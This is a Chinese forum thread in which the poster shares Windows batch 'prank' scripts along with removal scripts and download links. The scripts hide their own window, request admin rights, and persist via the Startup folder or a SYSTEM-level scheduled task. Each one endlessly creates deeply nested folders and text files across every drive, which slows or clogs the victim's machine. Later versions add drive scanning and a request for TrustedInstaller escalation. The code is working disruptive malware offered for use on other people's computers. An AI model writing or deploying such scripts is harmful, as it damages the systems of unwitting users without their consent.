V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
zgzb
V2EX  ›  问与答

一个 bat 格式的恶作剧小代码

  •  
  •   zgzb · 2020-07-26 15:35:12 +08:00 · 4339 次点击
    这是一个创建于 1583 天前的主题,其中的信息可能已经有所发展或是发生改变。
    最近没事搞了个小代码,可以用来捉弄人。可能的结果是多出一些文件夹并造成系统卡顿。下面是两种代码:
    一、有 UAC 弹出窗口,要手动点击
    @echo off
    :: BatchGotAdmin
    :-------------------------------------
    REM --> Check for permissions
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    REM --> If error flag set, we do not have admin.
    if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
    ) else ( goto gotAdmin )
    :UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    exit /B
    :gotAdmin
    if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
    pushd "%CD%"
    CD /D "%~dp0"
    title ezj 有窗口
    copy ezj 无窗口.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
    %1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
    set n=1
    :main
    tree >ezj.txt
    md "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%n%"
    md "D:\%n%"
    copy ezj.txt "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%n%"
    copy ezj.txt "D:\%n%"
    set /a n=n+1
    goto main
    二、运行后无 UAC 窗口
    @echo off
    title ezj 无窗口
    %1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
    set n=1
    :main
    tree >ezj.txt
    md "C:\ProgramData\%n%"
    md "D:\%n%"
    copy ezj.txt "C:\ProgramData\%n%"
    copy ezj.txt "D:\%n%"
    set /a n=n+1
    goto main
    直接复制上面代码或者先解压文件。成品文件地址( 7 天后失效): https://c-t.work/s/5f582ed8c1e94a (解压密码 aihao )
    使用方法:第一种、单独使用 ezj 无窗口.bat 或 单独使用 ezj 有窗口.bat ;第二种、两种都保存在同一目录下,然后运行 ezj 有窗口.bat 。
    第二种方法在第一次运行后会自动开机运行!!!!!!
    第 1 条附言  ·  2020-07-30 18:19:30 +08:00
    忘了说了,这是最后一次更新,7 楼是终结版。
    7 条回复    2020-07-30 18:17:20 +08:00
    zgzb
        1
    zgzb  
    OP
       2020-07-26 17:54:41 +08:00
    下面两条代码分别恢复上面两种 bat 造成的影响,直接运行即可,其中 恢复 ezj 有窗口.bat 需要运行两次:
    一、恢复 ezj 有窗口(运行两次)
    @echo off
    :: BatchGotAdmin
    :-------------------------------------
    REM --> Check for permissions
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    REM --> If error flag set, we do not have admin.
    if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
    ) else ( goto gotAdmin )
    :UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    exit /B
    :gotAdmin
    if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
    pushd "%CD%"
    CD /D "%~dp0"
    taskkill /f /fi "windowtitle eq 管理员: ezj 有窗口"
    del /f/s/q ezj.txt
    del /f/s/q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ezj 无窗口.bat"
    set n=1
    :main
    rd /s/q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%n%"
    rd /s/q "D:\%n%"
    set /a n=n+1
    goto main
    二、恢复 ezj 无窗口
    @echo off
    taskkill /f /fi "windowtitle eq ezj 无窗口"
    del /f/s/q ezj.txt
    set n=1
    :main
    rd /s/q "C:\ProgramData\%n%"
    rd /s/q "D:\%n%"
    set /a n=n+1
    goto main
    成品地址: https://c-t.work/s/d0ed28254cc145
    ZRS
        2
    ZRS  
       2020-07-26 17:58:30 +08:00
    仿佛看到了小学的自己...
    zgzb
        3
    zgzb  
    OP
       2020-07-26 18:03:51 +08:00
    我看点击量越来越多我也没想到会引起注意,既然是恶作剧就要有补救的措施,有什么不足的地方希望各位大佬不要喷我。。。
    zgzb
        4
    zgzb  
    OP
       2020-07-28 09:30:23 +08:00
    关于前一次恶作剧代码的加强:在保留前一次代码原有功能不变的基础上,进行了精简,同时增加了一些新的功能。
    使用方法:第一种、单独使用 ezj 无窗口.bat 或 单独使用 ezj 有窗口.bat ;第二种、两种都保存在同一目录下,然后运行 ezj 有窗口.bat 。第二种方法在第一次运行后会自动开机运行!!!!!!
    一、有 UAC 弹出窗口,要手动点击
    @echo off
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    if '%errorlevel%' NEQ '0' (
    goto UACPrompt
    ) else ( goto gotAdmin )
    :UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    exit /B
    :gotAdmin
    if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
    pushd "%CD%"
    CD /D "%~dp0"
    title ezj 有窗口加强版
    %1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
    copy ezj 无窗口加强版.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
    set vm=3000
    set vn=1
    :main
    for /l %%a in (1,1,%vm%) do (
    for /l %%b in (1,1,%vm%) do (
    for /l %%c in (1,1,%vm%) do (
    for /l %%d in (1,1,%vm%) do (
    for /l %%e in (1,1,%vm%) do (
    for /l %%f in (1,1,%vm%) do (
    for /l %%g in (1,1,%vm%) do (
    for /l %%h in (1,1,%vm%) do (
    for /l %%i in (1,1,%vm%) do (
    for /l %%j in (1,1,%vm%) do (
    for /l %%k in (1,1,%vm%) do (
    for /l %%l in (1,1,%vm%) do (
    for /l %%m in (1,1,%vm%) do (
    for /l %%n in (1,1,%vm%) do (
    for /l %%o in (1,1,%vm%) do (
    for /l %%p in (1,1,%vm%) do (
    for /l %%q in (1,1,%vm%) do (
    for /l %%r in (1,1,%vm%) do (
    for /l %%s in (1,1,%vm%) do (
    for /l %%t in (1,1,%vm%) do (
    for /l %%u in (1,1,%vm%) do (
    for /l %%v in (1,1,%vm%) do (
    for /l %%w in (1,1,%vm%) do (
    for /l %%x in (1,1,%vm%) do (
    for /l %%y in (1,1,%vm%) do (
    for /l %%z in (1,1,%vm%) do (
    for /l %%A in (1,1,%vm%) do (
    for /l %%B in (1,1,%vm%) do (
    for /l %%C in (1,1,%vm%) do (
    for /l %%D in (1,1,%vm%) do (
    for /l %%E in (1,1,%vm%) do (
    for /l %%F in (1,1,%vm%) do (
    for /l %%G in (1,1,%vm%) do (
    for /l %%H in (1,1,%vm%) do (
    for /l %%I in (1,1,%vm%) do (
    for /l %%J in (1,1,%vm%) do (
    for /l %%K in (1,1,%vm%) do (
    for /l %%L in (1,1,%vm%) do (
    for /l %%M in (1,1,%vm%) do (
    for /l %%N in (1,1,%vm%) do (
    for /l %%O in (1,1,%vm%) do (
    for /l %%P in (1,1,%vm%) do (
    for /l %%Q in (1,1,%vm%) do (
    for /l %%R in (1,1,%vm%) do (
    for /l %%S in (1,1,%vm%) do (
    for /l %%T in (1,1,%vm%) do (
    for /l %%U in (1,1,%vm%) do (
    for /l %%V in (1,1,%vm%) do (
    for /l %%W in (1,1,%vm%) do (
    for /l %%X in (1,1,%vm%) do (
    for /l %%Y in (1,1,%vm%) do (
    for /l %%Z in (1,1,%vm%) do (
    md "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
    md "D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
    tree >"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
    tree >"D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"))))))))))))))))))))))))))))))))))))))))))))))))))))
    set /a vn=vn+1
    goto main
    二、运行后无 UAC 窗口
    @echo off
    title ezj 无窗口加强版
    %1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
    set vm=3000
    set vn=1
    :main
    for /l %%a in (1,1,%vm%) do (
    for /l %%b in (1,1,%vm%) do (
    for /l %%c in (1,1,%vm%) do (
    for /l %%d in (1,1,%vm%) do (
    for /l %%e in (1,1,%vm%) do (
    for /l %%f in (1,1,%vm%) do (
    for /l %%g in (1,1,%vm%) do (
    for /l %%h in (1,1,%vm%) do (
    for /l %%i in (1,1,%vm%) do (
    for /l %%j in (1,1,%vm%) do (
    for /l %%k in (1,1,%vm%) do (
    for /l %%l in (1,1,%vm%) do (
    for /l %%m in (1,1,%vm%) do (
    for /l %%n in (1,1,%vm%) do (
    for /l %%o in (1,1,%vm%) do (
    for /l %%p in (1,1,%vm%) do (
    for /l %%q in (1,1,%vm%) do (
    for /l %%r in (1,1,%vm%) do (
    for /l %%s in (1,1,%vm%) do (
    for /l %%t in (1,1,%vm%) do (
    for /l %%u in (1,1,%vm%) do (
    for /l %%v in (1,1,%vm%) do (
    for /l %%w in (1,1,%vm%) do (
    for /l %%x in (1,1,%vm%) do (
    for /l %%y in (1,1,%vm%) do (
    for /l %%z in (1,1,%vm%) do (
    for /l %%A in (1,1,%vm%) do (
    for /l %%B in (1,1,%vm%) do (
    for /l %%C in (1,1,%vm%) do (
    for /l %%D in (1,1,%vm%) do (
    for /l %%E in (1,1,%vm%) do (
    for /l %%F in (1,1,%vm%) do (
    for /l %%G in (1,1,%vm%) do (
    for /l %%H in (1,1,%vm%) do (
    for /l %%I in (1,1,%vm%) do (
    for /l %%J in (1,1,%vm%) do (
    for /l %%K in (1,1,%vm%) do (
    for /l %%L in (1,1,%vm%) do (
    for /l %%M in (1,1,%vm%) do (
    for /l %%N in (1,1,%vm%) do (
    for /l %%O in (1,1,%vm%) do (
    for /l %%P in (1,1,%vm%) do (
    for /l %%Q in (1,1,%vm%) do (
    for /l %%R in (1,1,%vm%) do (
    for /l %%S in (1,1,%vm%) do (
    for /l %%T in (1,1,%vm%) do (
    for /l %%U in (1,1,%vm%) do (
    for /l %%V in (1,1,%vm%) do (
    for /l %%W in (1,1,%vm%) do (
    for /l %%X in (1,1,%vm%) do (
    for /l %%Y in (1,1,%vm%) do (
    for /l %%Z in (1,1,%vm%) do (
    md "C:\ProgramData\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
    md "D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
    tree >"C:\ProgramData\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
    tree >"D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"))))))))))))))))))))))))))))))))))))))))))))))))))))
    set /a vn=vn+1
    goto main
    说明及改进:运行时间足够长后会得到共 54 级,前 52 级各有 vm 个文件夹,第 53 级的文件夹随运行时间不断增加,第 54 级是 txt 文件,类似于套娃结构。vm 是前 52 级每级下文件夹的个数,可自定义,自定义方法是修改 ezj 无窗口加强版.bat 第 4 行或 ezj 有窗口加强版.bat 第 18 行中 vm 的数字,我设置的是 3000,可随个人喜好修改。加强版还有进一步加强的地方,比如增加检测硬盘分区的功能,检测存在的所有分区并写入文件;由于语法限制最多只有 52 级确定的文件夹,通过语法改进增加级数;但目前最迫切的是 bat 获得 system 或 TrustedInstaller 权限的代码,通过在 bat 前几行加入这些代码,就可以实现在 c 盘下所有目录写入文件而不被拒绝,同时能够把这两种代码合二为一,取消 uac 弹窗等,还请知道的能够告知。
    最后附上成品: https://c-t.work/s/46c154bcea1549
    zgzb
        5
    zgzb  
    OP
       2020-07-28 12:28:08 +08:00
    这些是加强版的恢复代码,可以复制或者直接使用我的成品:
    一、恢复 ezj 有窗口加强版
    @echo off
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    if '%errorlevel%' NEQ '0' (
    goto UACPrompt
    ) else ( goto gotAdmin )
    :UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    exit /B
    :gotAdmin
    if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
    pushd "%CD%"
    CD /D "%~dp0"
    taskkill /f /fi "windowtitle eq 管理员: ezj 有窗口加强版"
    del /f/s/q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ezj 无窗口加强版.bat"
    set vm=3000
    for /l %%Z in (1,1,%vm%) do (
    rd /s/q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z"
    rd /s/q "D:\%%Z")
    二、恢复 ezj 无窗口加强版
    @echo off
    taskkill /f /fi "windowtitle eq ezj 无窗口加强版"
    set vm=3000
    for /l %%Z in (1,1,%vm%) do (
    rd /s/q "C:\ProgramData\%%Z"
    rd /s/q "D:\%%Z")
    网盘地址: https://c-t.work/s/b65839a0d84c46
    zgzb
        6
    zgzb  
    OP
       2020-07-28 12:35:35 +08:00
    附上所有版本代码集合,可能不会再更新了:
    https://c-t.work/s/a6cb95401e7845
    zgzb
        7
    zgzb  
    OP
       2020-07-30 18:17:20 +08:00
    关于 ezj 加强版的更新:在保留 ezj 加强版功能的基础上,添加了新的功能:实现两种代码合成到一个文件;实现了代码提权 system 权限,并能够开机自动运行;增加了硬盘分区扫描功能,在扫描到的分区自动写入文件,在 c 盘所有目录及子目录创建共 54 级,含 53 级文件夹和 1 级 txt 文件。使用时双击运行,允许 uac 窗口。由于 c 盘文件夹较多同时 system 权限没有 TrustedInstaller 高,运行时间较长并且一些文件夹拒绝访问。代码:
    @echo off
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    if '%errorlevel%' NEQ '0' (
    goto UACPrompt
    ) else ( goto gotAdmin )
    :UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    exit /B
    :gotAdmin
    if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
    pushd "%CD%"
    CD /D "%~dp0"
    title ezj
    schtasks /query /nh >ezj1.txt
    for /f %%i in ('find "ezj" ezj1.txt') do (
    set vr=%%i
    del /f/s/q ezj1.txt)
    if %vr%==ezj goto run
    echo ^<?xml version="1.0" encoding="UTF-16"?^> >>ezj.xml
    echo ^<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"^> >>ezj.xml
    echo ^<RegistrationInfo^> >>ezj.xml
    echo ^<Author^>ezj^</Author^> >>ezj.xml
    echo ^<URI^>\2^</URI^> >>ezj.xml
    echo ^</RegistrationInfo^> >>ezj.xml
    echo ^<Triggers^> >>ezj.xml
    echo ^<LogonTrigger^> >>ezj.xml
    echo ^<Enabled^>true^</Enabled^> >>ezj.xml
    echo ^</LogonTrigger^> >>ezj.xml
    echo ^</Triggers^> >>ezj.xml
    echo ^<Principals^> >>ezj.xml
    echo ^<Principal id="Author"^> >>ezj.xml
    echo ^<UserId^>system^</UserId^> >>ezj.xml
    echo ^<RunLevel^>HighestAvailable^</RunLevel^> >>ezj.xml
    echo ^</Principal^> >>ezj.xml
    echo ^</Principals^> >>ezj.xml
    echo ^<Settings^> >>ezj.xml
    echo ^<MultipleInstancesPolicy^>IgnoreNew^</MultipleInstancesPolicy^> >>ezj.xml
    echo ^<DisallowStartIfOnBatteries^>false^</DisallowStartIfOnBatteries^> >>ezj.xml
    echo ^<StopIfGoingOnBatteries^>true^</StopIfGoingOnBatteries^> >>ezj.xml
    echo ^<AllowHardTerminate^>true^</AllowHardTerminate^> >>ezj.xml
    echo ^<StartWhenAvailable^>false^</StartWhenAvailable^> >>ezj.xml
    echo ^<RunOnlyIfNetworkAvailable^>false^</RunOnlyIfNetworkAvailable^> >>ezj.xml
    echo ^<IdleSettings^> >>ezj.xml
    echo ^<StopOnIdleEnd^>true^</StopOnIdleEnd^> >>ezj.xml
    echo ^<RestartOnIdle^>false^</RestartOnIdle^> >>ezj.xml
    echo ^</IdleSettings^> >>ezj.xml
    echo ^<AllowStartOnDemand^>true^</AllowStartOnDemand^> >>ezj.xml
    echo ^<Enabled^>true^</Enabled^> >>ezj.xml
    echo ^<Hidden^>false^</Hidden^> >>ezj.xml
    echo ^<RunOnlyIfIdle^>false^</RunOnlyIfIdle^> >>ezj.xml
    echo ^<WakeToRun^>false^</WakeToRun^> >>ezj.xml
    echo ^<ExecutionTimeLimit^>PT0S^</ExecutionTimeLimit^> >>ezj.xml
    echo ^<Priority^>7^</Priority^> >>ezj.xml
    echo ^</Settings^> >>ezj.xml
    echo ^<Actions Context="Author"^> >>ezj.xml
    echo ^<Exec^> >>ezj.xml
    echo ^<Command^>"%~f0"^</Command^> >>ezj.xml
    echo ^</Exec^> >>ezj.xml
    echo ^</Actions^> >>ezj.xml
    echo ^</Task^> >>ezj.xml
    schtasks /create /tn "ezj" /xml "ezj.xml"
    del /f/s/q "ezj.xml"
    :run
    schtasks /query /tn ezj /nh >ezj2.txt
    for /f "tokens=3" %%i in (ezj2.txt) do (
    set vs=%%i
    del /f/s/q ezj2.txt)
    if %vs%==正在运行 (
    goto allset
    )else if %vs%==就绪 (
    schtasks /run /tn ezj
    exit)
    :allset
    setlocal enabledelayedexpansion
    set vm=1
    set vn=1
    :main
    for /f %%i in ('dir c:\ /ad/s/b') do (
    set vx=%%i
    for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (
    if exist %%i: (
    set vy=%%i
    for /l %%a in (1,1,%vm%) do (
    for /l %%b in (1,1,%vm%) do (
    for /l %%c in (1,1,%vm%) do (
    for /l %%d in (1,1,%vm%) do (
    for /l %%e in (1,1,%vm%) do (
    for /l %%f in (1,1,%vm%) do (
    for /l %%g in (1,1,%vm%) do (
    for /l %%h in (1,1,%vm%) do (
    for /l %%i in (1,1,%vm%) do (
    for /l %%j in (1,1,%vm%) do (
    for /l %%k in (1,1,%vm%) do (
    for /l %%l in (1,1,%vm%) do (
    for /l %%m in (1,1,%vm%) do (
    for /l %%n in (1,1,%vm%) do (
    for /l %%o in (1,1,%vm%) do (
    for /l %%p in (1,1,%vm%) do (
    for /l %%q in (1,1,%vm%) do (
    for /l %%r in (1,1,%vm%) do (
    for /l %%s in (1,1,%vm%) do (
    for /l %%t in (1,1,%vm%) do (
    for /l %%u in (1,1,%vm%) do (
    for /l %%v in (1,1,%vm%) do (
    for /l %%w in (1,1,%vm%) do (
    for /l %%x in (1,1,%vm%) do (
    for /l %%y in (1,1,%vm%) do (
    for /l %%z in (1,1,%vm%) do (
    for /l %%A in (1,1,%vm%) do (
    for /l %%B in (1,1,%vm%) do (
    for /l %%C in (1,1,%vm%) do (
    for /l %%D in (1,1,%vm%) do (
    for /l %%E in (1,1,%vm%) do (
    for /l %%F in (1,1,%vm%) do (
    for /l %%G in (1,1,%vm%) do (
    for /l %%H in (1,1,%vm%) do (
    for /l %%I in (1,1,%vm%) do (
    for /l %%J in (1,1,%vm%) do (
    for /l %%K in (1,1,%vm%) do (
    for /l %%L in (1,1,%vm%) do (
    for /l %%M in (1,1,%vm%) do (
    for /l %%N in (1,1,%vm%) do (
    for /l %%O in (1,1,%vm%) do (
    for /l %%P in (1,1,%vm%) do (
    for /l %%Q in (1,1,%vm%) do (
    for /l %%R in (1,1,%vm%) do (
    for /l %%S in (1,1,%vm%) do (
    for /l %%T in (1,1,%vm%) do (
    for /l %%U in (1,1,%vm%) do (
    for /l %%V in (1,1,%vm%) do (
    for /l %%W in (1,1,%vm%) do (
    for /l %%X in (1,1,%vm%) do (
    for /l %%Y in (1,1,%vm%) do (
    for /l %%Z in (1,1,%vm%) do (
    md "!vx!\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
    md "!vy!:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
    tree /f >"!vx!\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
    tree /f >"!vy!:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt")))))))))))))))))))))))))))))))))))))))))))))))))))))))
    set /a vn=vn+1
    goto main
    网盘( 7 天有效期): https://cowtransfer.com/s/10845d9b6d5440
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1481 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 37ms · UTC 23:56 · PVG 07:56 · LAX 15:56 · JFK 18:56
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.